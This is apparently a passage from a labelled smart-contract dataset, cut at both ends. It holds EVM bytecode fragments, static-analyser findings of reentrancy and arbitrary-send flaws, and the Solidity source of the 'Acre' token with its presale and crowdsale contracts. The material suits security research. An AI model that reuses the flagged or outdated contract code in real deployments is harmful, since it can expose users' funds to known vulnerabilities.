610c4457610c4447610cb3565b505b505b6000546001600160a01b0384811691161415610c69576000600d819055600c555b610c74838383610efa565b505050565b60008184841115610c9d5760405162461bcd60e51b81526004016103c9919061135b565b506000610caa848661157f565b95945050505050565b600e546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156109cd573d6000803e3d6000fd5b6000600854821115610d545760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016103c9565b6000610d5e610f05565b9050610d6a8382610f28565b9392505050565b6010805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610db957610db9611596565b6001600160a01b03928316602091820292909201810191909152600f54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b158015610e0d57600080fd5b505afa158015610e21573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e459190611501565b81600181518110610e5857610e58611596565b6001600160a01b039283166020918202929092010152600f54610e7e9130911684610a03565b600f5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610eb79085906000908690309042906004016115ac565b600060405180830381600087803b158015610ed157600080fd5b505af1158015610ee5573d6000803e3d6000fd5b50506010805460ff60a81b1916905550505050565b610c74838383610f6a565b6000806000610f12611061565b9092509050610f218282610f28565b9250505090565b6000610d6a83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061109d565b600080600080600080610f7c876110cb565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150610fae9087611128565b6001600160a01b03808b1660009081526002602052604080822093909355908a1681522054610fdd908661116a565b6001600160a01b038916600090815260026020526040902055610fff816111c9565b6110098483611213565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161104e91815260200190565b60405180910390a3505050505050505050565b6008546000908190655af3107a400061107a8282610f28565b82101561109457505060085492655af3107a400092509050565b90939092509050565b600081836110be5760405162461bcd60e51b81526004016103c9919061135b565b506000610caa848661161d565b60008060008060008060008060006110e88a600c54600d54611237565b92509250925060006110f8610f05565b9050600080600061110b8e87878761128c565b919e509c509a509598509396509194505050505091939550919395565b6000610d6a83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610c79565b600080611177838561163f565b905083811015610d6a5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103c9565b60006111d3610f05565b905060006111e183836112dc565b306000908152600260205260409020549091506111fe908261116a565b30600090815260026020526040902055505050565b6008546112209083611128565b600855600954611230908261116a565b6009555050565b6000808080611251606461124b89896112dc565b90610f28565b90506000611264606461124b8a896112dc565b9050600061127c826112768b86611128565b90611128565b9992985090965090945050505050565b600080808061129b88866112dc565b905060006112a988876112dc565b905060006112b788886112dc565b905060006112c9826112768686611128565b939b939a50919850919650505050505050565b6000826112eb57506000610407565b60006112f78385611657565b905082611304858361161d565b14610d6a5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103c9565b600060208083528351808285015260005b818110156113885785810183015185820160400152820161136c565b8181111561139a576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461053357600080fd5b6000602082840312156113d757600080fd5b8135610d6a816113b0565b600080604083850312156113f557600080fd5b8235611400816113b0565b946020939093013593505050565b60008060006060848603121561142357600080fd5b833561142e816113b0565b9250602084013561143e816113b0565b929592945050506040919091013590565b801515811461053357600080fd5b60006020828403121561146f57600080fd5b8135610d6a8161144f565b6000806040838503121561148d57600080fd5b8235611498816113b0565b915060208301356114a8816113b0565b809150509250929050565b6000602082840312156114c557600080fd5b5035919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60006020828403121561151357600080fd5b8151610d6a816113b0565b60008060006060848603121561153357600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561155e57600080fd5b8151610d6a8161144f565b634e487b7160e01b600052601160045260246000fd5b60008282101561159157611591611569565b500390565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156115fc5784516001600160a01b0316835293830193918301916001016115d7565b50506001600160a01b03969096166060850152505050608001529392505050565b60008261163a57634e487b7160e01b600052601260045260246000fd5b500490565b6000821982111561165257611652611569565b500190565b600081600019048311821515161561167157611671611569565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212201d449358269621853590a12d2061b452304f18cdddb2c719030ddd546c87d07464736f6c63430008090033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
236
0xc2a6c9b0d73ba060886ce749b1dfe605ea388562
pragma solidity 0.4.20; library SafeMath { function add(uint a, uint b) internal pure returns (uint c) { c = a + b; assert(c >= a); } function sub(uint a, uint b) internal pure returns (uint c) { assert(b <= a); c = a - b; } function mul(uint a, uint b) internal pure returns (uint c) { c = a * b; assert(a == 0 || c / a == b); } function div(uint a, uint b) internal pure returns (uint c) { assert(b > 0); c = a / b; assert(a == b * c + a % b); } } contract AcreConfig { using SafeMath for uint; uint internal constant TIME_FACTOR = 1 minutes; // Ownable uint internal constant OWNERSHIP_DURATION_TIME = 7; // 7 days // MultiOwnable uint8 internal constant MULTI_OWNER_COUNT = 5; // 5 accounts, exclude master // Lockable uint internal constant LOCKUP_DURATION_TIME = 365; // 365 days // AcreToken string internal constant TOKEN_NAME = "TAA"; string internal constant TOKEN_SYMBOL = "TAA"; uint8 internal constant TOKEN_DECIMALS = 18; uint internal constant INITIAL_SUPPLY = 1*1e8 * 10 ** uint(TOKEN_DECIMALS); // supply uint internal constant CAPITAL_SUPPLY = 31*1e6 * 10 ** uint(TOKEN_DECIMALS); // supply uint internal constant PRE_PAYMENT_SUPPLY = 19*1e6 * 10 ** uint(TOKEN_DECIMALS); // supply uint internal constant MAX_MINING_SUPPLY = 4*1e8 * 10 ** uint(TOKEN_DECIMALS); // supply // Sale uint internal constant MIN_ETHER = 1*1e17; // 0.1 ether uint internal constant EXCHANGE_RATE = 1000; // 1 eth = 1000 acre uint internal constant PRESALE_DURATION_TIME = 15; // 15 days uint internal constant CROWDSALE_DURATION_TIME = 21; // 21 days // helper function getDays(uint _time) internal pure returns(uint) { return SafeMath.div(_time, 1 days); } function getHours(uint _time) internal pure returns(uint) { return SafeMath.div(_time, 1 hours); } function getMinutes(uint _time) internal pure returns(uint) { return SafeMath.div(_time, 1 minutes); } } contract Ownable is AcreConfig { address public owner; address public reservedOwner; uint public ownershipDeadline; event ReserveOwnership(address indexed oldOwner, address indexed newOwner); event ConfirmOwnership(address indexed oldOwner, address indexed newOwner); event CancelOwnership(address indexed oldOwner, address indexed newOwner); modifier onlyOwner { require(msg.sender == owner); _; } function Ownable() public { owner = msg.sender; } function reserveOwnership(address newOwner) onlyOwner public returns (bool success) { require(newOwner != address(0)); ReserveOwnership(owner, newOwner); reservedOwner = newOwner; ownershipDeadline = SafeMath.add(now, SafeMath.mul(OWNERSHIP_DURATION_TIME, TIME_FACTOR)); return true; } function confirmOwnership() onlyOwner public returns (bool success) { require(reservedOwner != address(0)); require(now > ownershipDeadline); ConfirmOwnership(owner, reservedOwner); owner = reservedOwner; reservedOwner = address(0); return true; } function cancelOwnership() onlyOwner public returns (bool success) { require(reservedOwner != address(0)); CancelOwnership(owner, reservedOwner); reservedOwner = address(0); return true; } } contract MultiOwnable is Ownable { address[] public owners; event GrantOwners(address indexed owner); event RevokeOwners(address indexed owner); modifier onlyMutiOwners { require(isExistedOwner(msg.sender)); _; } modifier onlyManagers { require(isManageable(msg.sender)); _; } function MultiOwnable() public { owners.length = MULTI_OWNER_COUNT; } function grantOwners(address _owner) onlyOwner public returns (bool success) { require(!isExistedOwner(_owner)); require(isEmptyOwner()); owners[getEmptyIndex()] = _owner; GrantOwners(_owner); return true; } function revokeOwners(address _owner) onlyOwner public returns (bool success) { require(isExistedOwner(_owner)); owners[getOwnerIndex(_owner)] = address(0); RevokeOwners(_owner); return true; } // helper function isManageable(address _owner) internal constant returns (bool) { return isExistedOwner(_owner) || owner == _owner; } function isExistedOwner(address _owner) internal constant returns (bool) { for(uint8 i = 0; i < MULTI_OWNER_COUNT; ++i) { if(owners[i] == _owner) { return true; } } } function getOwnerIndex(address _owner) internal constant returns (uint) { for(uint8 i = 0; i < MULTI_OWNER_COUNT; ++i) { if(owners[i] == _owner) { return i; } } } function isEmptyOwner() internal constant returns (bool) { for(uint8 i = 0; i < MULTI_OWNER_COUNT; ++i) { if(owners[i] == address(0)) { return true; } } } function getEmptyIndex() internal constant returns (uint) { for(uint8 i = 0; i < MULTI_OWNER_COUNT; ++i) { if(owners[i] == address(0)) { return i; } } } } contract Pausable is MultiOwnable { bool public paused = false; event Pause(); event Unpause(); modifier whenNotPaused() { require(!paused); _; } modifier whenPaused() { require(paused); _; } modifier whenConditionalPassing() { if(!isManageable(msg.sender)) { require(!paused); } _; } function pause() onlyManagers whenNotPaused public returns (bool success) { paused = true; Pause(); return true; } function unpause() onlyManagers whenPaused public returns (bool success) { paused = false; Unpause(); return true; } } contract Lockable is Pausable { mapping (address => uint) public locked; event Lockup(address indexed target, uint startTime, uint deadline); function lockup(address _target) onlyOwner public returns (bool success) { require(!isManageable(_target)); locked[_target] = SafeMath.add(now, SafeMath.mul(LOCKUP_DURATION_TIME, TIME_FACTOR)); Lockup(_target, now, locked[_target]); return true; } // helper function isLockup(address _target) internal constant returns (bool) { if(now <= locked[_target]) return true; } } interface tokenRecipient { function receiveApproval(address _from, uint _value, address _token, bytes _extraData) external; } contract TokenERC20 { using SafeMath for uint; string public name; string public symbol; uint8 public decimals; uint public totalSupply; mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; event ERC20Token(address indexed owner, string name, string symbol, uint8 decimals, uint supply); event Transfer(address indexed from, address indexed to, uint value); event TransferFrom(address indexed from, address indexed to, address indexed spender, uint value); event Approval(address indexed owner, address indexed spender, uint value); function TokenERC20( string _tokenName, string _tokenSymbol, uint8 _tokenDecimals, uint _initialSupply ) public { name = _tokenName; symbol = _tokenSymbol; decimals = _tokenDecimals; totalSupply = _initialSupply; balanceOf[msg.sender] = totalSupply; ERC20Token(msg.sender, name, symbol, decimals, totalSupply); } function _transfer(address _from, address _to, uint _value) internal returns (bool success) { require(_to != address(0)); require(balanceOf[_from] >= _value); require(SafeMath.add(balanceOf[_to], _value) > balanceOf[_to]); uint previousBalances = SafeMath.add(balanceOf[_from], balanceOf[_to]); balanceOf[_from] = balanceOf[_from].sub(_value); balanceOf[_to] = balanceOf[_to].add(_value); Transfer(_from, _to, _value); assert(SafeMath.add(balanceOf[_from], balanceOf[_to]) == previousBalances); return true; } function transfer(address _to, uint _value) public returns (bool success) { return _transfer(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value); _transfer(_from, _to, _value); TransferFrom(_from, _to, msg.sender, _value); return true; } function approve(address _spender, uint _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function approveAndCall(address _spender, uint _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } } contract AcreToken is Lockable, TokenERC20 { string public version = '1.0'; address public companyCapital; address public prePayment; uint public totalMineSupply; mapping (address => bool) public frozenAccount; event FrozenAccount(address indexed target, bool frozen); event Burn(address indexed owner, uint value); event Mining(address indexed recipient, uint value); event WithdrawContractToken(address indexed owner, uint value); function AcreToken(address _companyCapital, address _prePayment) TokenERC20(TOKEN_NAME, TOKEN_SYMBOL, TOKEN_DECIMALS, INITIAL_SUPPLY) public { require(_companyCapital != address(0)); require(_prePayment != address(0)); companyCapital = _companyCapital; prePayment = _prePayment; transfer(companyCapital, CAPITAL_SUPPLY); transfer(prePayment, PRE_PAYMENT_SUPPLY); lockup(prePayment); pause(); } function _transfer(address _from, address _to, uint _value) whenConditionalPassing internal returns (bool success) { require(!frozenAccount[_from]); // freeze require(!frozenAccount[_to]); require(!isLockup(_from)); // lockup require(!isLockup(_to)); return super._transfer(_from, _to, _value); } function transferFrom(address _from, address _to, uint _value) public returns (bool success) { require(!frozenAccount[msg.sender]); // freeze require(!isLockup(msg.sender)); // lockup return super.transferFrom(_from, _to, _value); } function freezeAccount(address _target) onlyManagers public returns (bool success) { require(!isManageable(_target)); require(!frozenAccount[_target]); frozenAccount[_target] = true; FrozenAccount(_target, true); return true; } function unfreezeAccount(address _target) onlyManagers public returns (bool success) { require(frozenAccount[_target]); frozenAccount[_target] = false; FrozenAccount(_target, false); return true; } function burn(uint _value) onlyManagers public returns (bool success) { require(balanceOf[msg.sender] >= _value); balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value); totalSupply = totalSupply.sub(_value); Burn(msg.sender, _value); return true; } function mining(address _recipient, uint _value) onlyManagers public returns (bool success) { require(_recipient != address(0)); require(!frozenAccount[_recipient]); // freeze require(!isLockup(_recipient)); // lockup require(SafeMath.add(totalMineSupply, _value) <= MAX_MINING_SUPPLY); balanceOf[_recipient] = balanceOf[_recipient].add(_value); totalSupply = totalSupply.add(_value); totalMineSupply = totalMineSupply.add(_value); Mining(_recipient, _value); return true; } function withdrawContractToken(uint _value) onlyManagers public returns (bool success) { _transfer(this, msg.sender, _value); WithdrawContractToken(msg.sender, _value); return true; } function getContractBalanceOf() public constant returns(uint blance) { blance = balanceOf[this]; } function getRemainingMineSupply() public constant returns(uint supply) { supply = MAX_MINING_SUPPLY - totalMineSupply; } function () public { revert(); } } contract AcreSale is MultiOwnable { uint public saleDeadline; uint public startSaleTime; uint public softCapToken; uint public hardCapToken; uint public soldToken; uint public receivedEther; address public sendEther; AcreToken public tokenReward; bool public fundingGoalReached = false; bool public saleOpened = false; Payment public kyc; Payment public refund; Payment public withdrawal; mapping(uint=>address) public indexedFunders; mapping(address => Order) public orders; uint public funderCount; event StartSale(uint softCapToken, uint hardCapToken, uint minEther, uint exchangeRate, uint startTime, uint deadline); event ReservedToken(address indexed funder, uint amount, uint token, uint bonusRate); event WithdrawFunder(address indexed funder, uint value); event WithdrawContractToken(address indexed owner, uint value); event CheckGoalReached(uint raisedAmount, uint raisedToken, bool reached); event CheckOrderstate(address indexed funder, eOrderstate oldState, eOrderstate newState); enum eOrderstate { NONE, KYC, REFUND } struct Order { eOrderstate state; uint paymentEther; uint reservedToken; bool withdrawn; } struct Payment { uint token; uint eth; uint count; } modifier afterSaleDeadline { require(now > saleDeadline); _; } function AcreSale( address _sendEther, uint _softCapToken, uint _hardCapToken, AcreToken _addressOfTokenUsedAsReward ) public { require(_sendEther != address(0)); require(_addressOfTokenUsedAsReward != address(0)); require(_softCapToken > 0 && _softCapToken <= _hardCapToken); sendEther = _sendEther; softCapToken = _softCapToken * 10 ** uint(TOKEN_DECIMALS); hardCapToken = _hardCapToken * 10 ** uint(TOKEN_DECIMALS); tokenReward = AcreToken(_addressOfTokenUsedAsReward); } function startSale(uint _durationTime) onlyManagers internal { require(softCapToken > 0 && softCapToken <= hardCapToken); require(hardCapToken > 0 && hardCapToken <= tokenReward.balanceOf(this)); require(_durationTime > 0); require(startSaleTime == 0); startSaleTime = now; saleDeadline = SafeMath.add(startSaleTime, SafeMath.mul(_durationTime, TIME_FACTOR)); saleOpened = true; StartSale(softCapToken, hardCapToken, MIN_ETHER, EXCHANGE_RATE, startSaleTime, saleDeadline); } // get function getRemainingSellingTime() public constant returns(uint remainingTime) { if(now <= saleDeadline) { remainingTime = getMinutes(SafeMath.sub(saleDeadline, now)); } } function getRemainingSellingToken() public constant returns(uint remainingToken) { remainingToken = SafeMath.sub(hardCapToken, soldToken); } function getSoftcapReached() public constant returns(bool reachedSoftcap) { reachedSoftcap = soldToken >= softCapToken; } function getContractBalanceOf() public constant returns(uint blance) { blance = tokenReward.balanceOf(this); } function getCurrentBonusRate() public constant returns(uint8 bonusRate); // check function checkGoalReached() onlyManagers afterSaleDeadline public { if(saleOpened) { if(getSoftcapReached()) { fundingGoalReached = true; } saleOpened = false; CheckGoalReached(receivedEther, soldToken, fundingGoalReached); } } function checkKYC(address _funder) onlyManagers afterSaleDeadline public { require(!saleOpened); require(orders[_funder].reservedToken > 0); require(orders[_funder].state != eOrderstate.KYC); require(!orders[_funder].withdrawn); eOrderstate oldState = orders[_funder].state; // old, decrease if(oldState == eOrderstate.REFUND) { refund.token = refund.token.sub(orders[_funder].reservedToken); refund.eth = refund.eth.sub(orders[_funder].paymentEther); refund.count = refund.count.sub(1); } // state orders[_funder].state = eOrderstate.KYC; kyc.token = kyc.token.add(orders[_funder].reservedToken); kyc.eth = kyc.eth.add(orders[_funder].paymentEther); kyc.count = kyc.count.add(1); CheckOrderstate(_funder, oldState, eOrderstate.KYC); } function checkRefund(address _funder) onlyManagers afterSaleDeadline public { require(!saleOpened); require(orders[_funder].reservedToken > 0); require(orders[_funder].state != eOrderstate.REFUND); require(!orders[_funder].withdrawn); eOrderstate oldState = orders[_funder].state; // old, decrease if(oldState == eOrderstate.KYC) { kyc.token = kyc.token.sub(orders[_funder].reservedToken); kyc.eth = kyc.eth.sub(orders[_funder].paymentEther); kyc.count = kyc.count.sub(1); } // state orders[_funder].state = eOrderstate.REFUND; refund.token = refund.token.add(orders[_funder].reservedToken); refund.eth = refund.eth.add(orders[_funder].paymentEther); refund.count = refund.count.add(1); CheckOrderstate(_funder, oldState, eOrderstate.REFUND); } // withdraw function withdrawFunder(address _funder) onlyManagers afterSaleDeadline public { require(!saleOpened); require(fundingGoalReached); require(orders[_funder].reservedToken > 0); require(orders[_funder].state == eOrderstate.KYC); require(!orders[_funder].withdrawn); // token tokenReward.transfer(_funder, orders[_funder].reservedToken); withdrawal.token = withdrawal.token.add(orders[_funder].reservedToken); withdrawal.eth = withdrawal.eth.add(orders[_funder].paymentEther); withdrawal.count = withdrawal.count.add(1); orders[_funder].withdrawn = true; WithdrawFunder(_funder, orders[_funder].reservedToken); } function withdrawContractToken(uint _value) onlyManagers public { tokenReward.transfer(msg.sender, _value); WithdrawContractToken(msg.sender, _value); } // payable function () payable public { require(saleOpened); require(now <= saleDeadline); require(MIN_ETHER <= msg.value); uint amount = msg.value; uint curBonusRate = getCurrentBonusRate(); uint token = (amount.mul(curBonusRate.add(100)).div(100)).mul(EXCHANGE_RATE); require(token > 0); require(SafeMath.add(soldToken, token) <= hardCapToken); sendEther.transfer(amount); // funder info if(orders[msg.sender].paymentEther == 0) { indexedFunders[funderCount] = msg.sender; funderCount = funderCount.add(1); orders[msg.sender].state = eOrderstate.NONE; } orders[msg.sender].paymentEther = orders[msg.sender].paymentEther.add(amount); orders[msg.sender].reservedToken = orders[msg.sender].reservedToken.add(token); receivedEther = receivedEther.add(amount); soldToken = soldToken.add(token); ReservedToken(msg.sender, amount, token, curBonusRate); } } contract AcrePresale is AcreSale { function AcrePresale( address _sendEther, uint _softCapToken, uint _hardCapToken, AcreToken _addressOfTokenUsedAsReward ) AcreSale( _sendEther, _softCapToken, _hardCapToken, _addressOfTokenUsedAsReward) public { } function startPresale() onlyManagers public { startSale(PRESALE_DURATION_TIME); } function getCurrentBonusRate() public constant returns(uint8 bonusRate) { if (now <= SafeMath.add(startSaleTime, SafeMath.mul( 7, TIME_FACTOR))) { bonusRate = 30; } // 7days else if (now <= SafeMath.add(startSaleTime, SafeMath.mul(15, TIME_FACTOR))) { bonusRate = 25; } // 8days else { bonusRate = 0; } // } } contract AcreCrowdsale is AcreSale { function AcreCrowdsale( address _sendEther, uint _softCapToken, uint _hardCapToken, AcreToken _addressOfTokenUsedAsReward ) AcreSale( _sendEther, _softCapToken, _hardCapToken, _addressOfTokenUsedAsReward) public { } function startCrowdsale() onlyManagers public { startSale(CROWDSALE_DURATION_TIME); } function getCurrentBonusRate() public constant returns(uint8 bonusRate) { if (now <= SafeMath.add(startSaleTime, SafeMath.mul( 7, TIME_FACTOR))) { bonusRate = 20; } // 7days else if (now <= SafeMath.add(startSaleTime, SafeMath.mul(14, TIME_FACTOR))) { bonusRate = 15; } // 7days else if (now <= SafeMath.add(startSaleTime, SafeMath.mul(21, TIME_FACTOR))) { bonusRate = 10; } // 7days else { bonusRate = 0; } // } }
0x6060604052600436106101c2576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806301cb3b20146105e5578063025e7c27146105fa57806304c98b2b1461065d5780630b3bc259146106725780630e29df221461069b57806325ba0824146106f05780632ecf66e4146107415780634e2808da1461076a578063590e1ae3146107975780635deeffb2146107ce578063639a9a67146107fb5780636769d1f9146108285780636e66f6e914610851578063738e6d78146108a65780637493357b146108df5780638846594b14610934578063888ea1201461096d5780638bec5b31146109965780638da5cb5b146109e75780638dd4f29214610a3c57806390d6b45f14610a655780639327d71014610a9c5780639b7e553114610aff5780639ef7e72314610b28578063a961e9e814610b4b578063b89e8cbb14610b74578063bf48780114610b9d578063bf88fc0914610bc6578063c0adc46514610c17578063cd53e45514610c46578063d424f62814610c6f578063d4e9329214610c9c578063d5d1e77014610cd3578063e91cc17c14610d00578063f0b3a7ba14610d39578063f40e847114610d62575b6000806000600b60159054906101000a900460ff1615156101e257600080fd5b60045442111515156101f357600080fd5b3467016345785d8a00001115151561020a57600080fd5b349250610215610dd6565b60ff1691506102676103e8610259606461024b61023c606488610e3190919063ffffffff16565b88610e4a90919063ffffffff16565b610e7890919063ffffffff16565b610e4a90919063ffffffff16565b905060008111151561027857600080fd5b60075461028760085483610e31565b1115151561029457600080fd5b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc849081150290604051600060405180830381858888f1935050505015156102f657600080fd5b6000601660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101541415610416573360156000601754815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506103ab6001601754610e3190919063ffffffff16565b6017819055506000601660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160006101000a81548160ff0219169083600281111561041057fe5b02179055505b61046b83601660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010154610e3190919063ffffffff16565b601660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001018190555061050681601660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020154610e3190919063ffffffff16565b601660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206002018190555061056183600954610e3190919063ffffffff16565b60098190555061057c81600854610e3190919063ffffffff16565b6008819055503373ffffffffffffffffffffffffffffffffffffffff167f580e269b852feaa417dcc438230790bb21e5d485bf49ff3e8615e5240c8fa92884838560405180848152602001838152602001828152602001935050505060405180910390a2505050005b34156105f057600080fd5b6105f8610eb3565b005b341561060557600080fd5b61061b6004808035906020019091905050610f91565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561066857600080fd5b610670610fd0565b005b341561067d57600080fd5b610685610ff0565b6040518082815260200191505060405180910390f35b34156106a657600080fd5b6106ae610ff6565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156106fb57600080fd5b610727600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061101c565b604051808215151515815260200191505060405180910390f35b341561074c57600080fd5b61075461114d565b6040518082815260200191505060405180910390f35b341561077557600080fd5b61077d611153565b604051808215151515815260200191505060405180910390f35b34156107a257600080fd5b6107aa6112f4565b60405180848152602001838152602001828152602001935050505060405180910390f35b34156107d957600080fd5b6107e161130c565b604051808215151515815260200191505060405180910390f35b341561080657600080fd5b61080e61131b565b604051808215151515815260200191505060405180910390f35b341561083357600080fd5b61083b61132e565b6040518082815260200191505060405180910390f35b341561085c57600080fd5b610864611334565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156108b157600080fd5b6108dd600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061135a565b005b34156108ea57600080fd5b6108f26117da565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561093f57600080fd5b61096b600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611800565b005b341561097857600080fd5b610980611c80565b6040518082815260200191505060405180910390f35b34156109a157600080fd5b6109cd600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611c86565b604051808215151515815260200191505060405180910390f35b34156109f257600080fd5b6109fa611dff565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3415610a4757600080fd5b610a4f611e24565b6040518082815260200191505060405180910390f35b3415610a7057600080fd5b610a78611e39565b60405180848152602001838152602001828152602001935050505060405180910390f35b3415610aa757600080fd5b610abd6004808035906020019091905050611e51565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3415610b0a57600080fd5b610b12611e84565b6040518082815260200191505060405180910390f35b3415610b3357600080fd5b610b496004808035906020019091905050611e8a565b005b3415610b5657600080fd5b610b5e611fd8565b6040518082815260200191505060405180910390f35b3415610b7f57600080fd5b610b87611fde565b6040518082815260200191505060405180910390f35b3415610ba857600080fd5b610bb0612005565b6040518082815260200191505060405180910390f35b3415610bd157600080fd5b610bfd600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506120ec565b604051808215151515815260200191505060405180910390f35b3415610c2257600080fd5b610c2a610dd6565b604051808260ff1660ff16815260200191505060405180910390f35b3415610c5157600080fd5b610c5961220b565b6040518082815260200191505060405180910390f35b3415610c7a57600080fd5b610c82612211565b604051808215151515815260200191505060405180910390f35b3415610ca757600080fd5b610caf612224565b60405180848152602001838152602001828152602001935050505060405180910390f35b3415610cde57600080fd5b610ce661223c565b604051808215151515815260200191505060405180910390f35b3415610d0b57600080fd5b610d37600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061244f565b005b3415610d4457600080fd5b610d4c6128cc565b6040518082815260200191505060405180910390f35b3415610d6d57600080fd5b610d99600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506128d2565b60405180856002811115610da957fe5b60ff1681526020018481526020018381526020018215151515815260200194505050505060405180910390f35b6000610def600554610dea6007603c610e4a565b610e31565b42111515610e0057601e9050610e2e565b610e17600554610e12600f603c610e4a565b610e31565b42111515610e285760199050610e2d565b600090505b5b90565b60008183019050828110151515610e4457fe5b92915050565b600081830290506000831480610e6a5750818382811515610e6757fe5b04145b1515610e7257fe5b92915050565b60008082111515610e8557fe5b8183811515610e9057fe5b0490508183811515610e9e57fe5b068183020183141515610ead57fe5b92915050565b610ebc3361291c565b1515610ec757600080fd5b60045442111515610ed757600080fd5b600b60159054906101000a900460ff1615610f8f57610ef461130c565b15610f15576001600b60146101000a81548160ff0219169083151502179055505b6000600b60156101000a81548160ff0219169083151502179055507fe78e01880fc85b64db8efa7145cbad405eb0f9c9d8849f895a06c359836bbbae600954600854600b60149054906101000a900460ff166040518084815260200183815260200182151515158152602001935050505060405180910390a15b565b600381815481101515610fa057fe5b90600052602060002090016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610fd93361291c565b1515610fe457600080fd5b610fee600f612985565b565b60175481565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561107957600080fd5b61108282612b8a565b15151561108e57600080fd5b611096612c2d565b15156110a157600080fd5b8160036110ac612ccf565b8154811015156110b857fe5b906000526020600020900160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff167f919c482a4dd37fda2e912a8aa250c86cd33baba7516f7f5638fc6f6c16b22f2e60405160405180910390a260019050919050565b60065481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156111b057600080fd5b600073ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415151561120e57600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fe2277a5d491de0973631724d3cbb5e0deb5250f2be0c90ea6da7a7e4605f90ed60405160405180910390a36000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001905090565b600f8060000154908060010154908060020154905083565b60006006546008541015905090565b600b60159054906101000a900460ff1681565b60085481565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006113653361291c